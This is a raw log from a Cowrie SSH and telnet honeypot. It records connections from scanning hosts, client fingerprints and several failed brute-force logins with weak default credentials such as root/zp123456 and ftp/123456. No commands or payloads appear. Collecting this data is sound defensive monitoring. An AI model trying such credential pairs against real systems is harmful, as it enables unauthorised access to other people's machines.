{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"b753376dbc0c","protocol":"telnet","message":"New connection: 159.223.86.167:35840 (159.203.135.109:23) [session: b753376dbc0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:44.669152Z"}
{"eventid":"cowrie.session.closed","duration":31.242534399032593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:44.754045Z","src_ip":"213.136.75.179","session":"192accbf294c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42455792427063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:45.369988Z","src_ip":"213.136.75.179","session":"6c137b6645f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.580352783203125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:45.388930Z","src_ip":"213.136.75.179","session":"72ac6749b2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":40070,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6039b415a21","protocol":"telnet","message":"New connection: 159.223.86.167:40070 (159.203.135.109:23) [session: b6039b415a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:45.678169Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":43984,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b5dc2465b18","protocol":"telnet","message":"New connection: 159.223.86.167:43984 (159.203.135.109:23) [session: 3b5dc2465b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:47.697733Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":48192,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a58394514d","protocol":"telnet","message":"New connection: 159.223.86.167:48192 (159.203.135.109:23) [session: 67a58394514d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:47.701550Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53242,"dst_ip":"10.17.0.5","dst_port":23,"session":"900c6de2c90d","protocol":"telnet","message":"New connection: 213.136.75.179:53242 (10.17.0.5:23) [session: 900c6de2c90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:47.734390Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38404,"dst_ip":"10.17.0.5","dst_port":22,"session":"856ec8cf8e14","protocol":"ssh","message":"New connection: 176.65.139.103:38404 (10.17.0.5:22) [session: 856ec8cf8e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:48.007171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:48.012793Z","src_ip":"176.65.139.103","session":"856ec8cf8e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:48.096743Z","src_ip":"176.65.139.103","session":"856ec8cf8e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:48.348566Z","src_ip":"176.65.139.103","session":"856ec8cf8e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52420,"dst_ip":"159.203.135.109","dst_port":23,"session":"8586033491f8","protocol":"telnet","message":"New connection: 159.223.86.167:52420 (159.203.135.109:23) [session: 8586033491f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:48.720850Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55428,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ad238554fe","protocol":"telnet","message":"New connection: 159.223.86.167:55428 (159.203.135.109:23) [session: d0ad238554fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:49.421991Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:49.483575Z","src_ip":"176.65.139.103","session":"856ec8cf8e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":34988,"dst_ip":"10.17.0.5","dst_port":22,"session":"45aa187d871c","protocol":"ssh","message":"New connection: 103.176.20.115:34988 (10.17.0.5:22) [session: 45aa187d871c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:49.727478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:49.732542Z","src_ip":"103.176.20.115","session":"45aa187d871c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:49.977468Z","src_ip":"103.176.20.115","session":"45aa187d871c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zp123456","message":"login attempt [root/zp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:50.988569Z","src_ip":"103.176.20.115","session":"45aa187d871c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.417999505996704,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:51.970244Z","src_ip":"23.254.167.244","session":"2718b946b5b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:52.234976Z","src_ip":"103.176.20.115","session":"45aa187d871c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53248,"dst_ip":"10.17.0.5","dst_port":23,"session":"93596a6dad61","protocol":"telnet","message":"New connection: 213.136.75.179:53248 (10.17.0.5:23) [session: 93596a6dad61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:54.169055Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53254,"dst_ip":"10.17.0.5","dst_port":23,"session":"a974220a5b4a","protocol":"telnet","message":"New connection: 213.136.75.179:53254 (10.17.0.5:23) [session: a974220a5b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:54.793125Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":51094,"dst_ip":"10.17.0.5","dst_port":22,"session":"acd86521f81d","protocol":"ssh","message":"New connection: 20.244.18.126:51094 (10.17.0.5:22) [session: acd86521f81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.015867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.021471Z","src_ip":"20.244.18.126","session":"acd86521f81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.204527Z","src_ip":"20.244.18.126","session":"acd86521f81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53268,"dst_ip":"10.17.0.5","dst_port":23,"session":"419a6414dfe3","protocol":"telnet","message":"New connection: 213.136.75.179:53268 (10.17.0.5:23) [session: 419a6414dfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.504173Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58508,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4c9a181a8ad","protocol":"ssh","message":"New connection: 176.65.139.103:58508 (10.17.0.5:22) [session: a4c9a181a8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.551121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.554779Z","src_ip":"176.65.139.103","session":"a4c9a181a8ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.647127Z","src_ip":"176.65.139.103","session":"a4c9a181a8ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.921784Z","src_ip":"176.65.139.103","session":"a4c9a181a8ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"0000","message":"login attempt [ftpuser/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:56.974828Z","src_ip":"20.244.18.126","session":"acd86521f81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:58.043680Z","src_ip":"176.65.139.103","session":"a4c9a181a8ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:58.159793Z","src_ip":"20.244.18.126","session":"acd86521f81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36162,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c669b0bb7bb","protocol":"telnet","message":"New connection: 159.223.86.167:36162 (159.203.135.109:23) [session: 0c669b0bb7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:58.665035Z"}
{"eventid":"cowrie.session.closed","duration":34.26723527908325,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:59.907598Z","src_ip":"213.136.75.179","session":"c6882c74ecde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63087868690491,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:00.127490Z","src_ip":"213.136.75.179","session":"d299c797f5b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7205970287323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:00.431431Z","src_ip":"213.136.75.179","session":"d60d06ac25a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42326,"dst_ip":"10.17.0.5","dst_port":23,"session":"136496c71522","protocol":"telnet","message":"New connection: 213.136.75.179:42326 (10.17.0.5:23) [session: 136496c71522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:00.653696Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52368,"dst_ip":"159.203.135.109","dst_port":23,"session":"45caf5edd062","protocol":"telnet","message":"New connection: 159.223.86.167:52368 (159.203.135.109:23) [session: 45caf5edd062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:02.700328Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60966,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fe889be71ee","protocol":"ssh","message":"New connection: 80.94.92.182:60966 (10.17.0.5:22) [session: 3fe889be71ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:04.458085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:04.477391Z","src_ip":"80.94.92.182","session":"3fe889be71ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:04.656715Z","src_ip":"80.94.92.182","session":"3fe889be71ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39172,"dst_ip":"10.17.0.5","dst_port":22,"session":"1571561f6c54","protocol":"ssh","message":"New connection: 176.65.139.103:39172 (10.17.0.5:22) [session: 1571561f6c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:05.243946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:05.267688Z","src_ip":"176.65.139.103","session":"1571561f6c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:05.358091Z","src_ip":"176.65.139.103","session":"1571561f6c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:05.698851Z","src_ip":"80.94.92.182","session":"3fe889be71ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:05.747364Z","src_ip":"176.65.139.103","session":"1571561f6c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.353854417800903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:06.342414Z","src_ip":"213.136.75.179","session":"e94d92cb0cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:06.835032Z","src_ip":"176.65.139.103","session":"1571561f6c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:06.849635Z","src_ip":"80.94.92.182","session":"3fe889be71ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":40044,"dst_ip":"10.17.0.5","dst_port":22,"session":"130ff65268b8","protocol":"ssh","message":"New connection: 202.184.144.220:40044 (10.17.0.5:22) [session: 130ff65268b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:09.564500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:09.570855Z","src_ip":"202.184.144.220","session":"130ff65268b8","protocol":"ssh"}
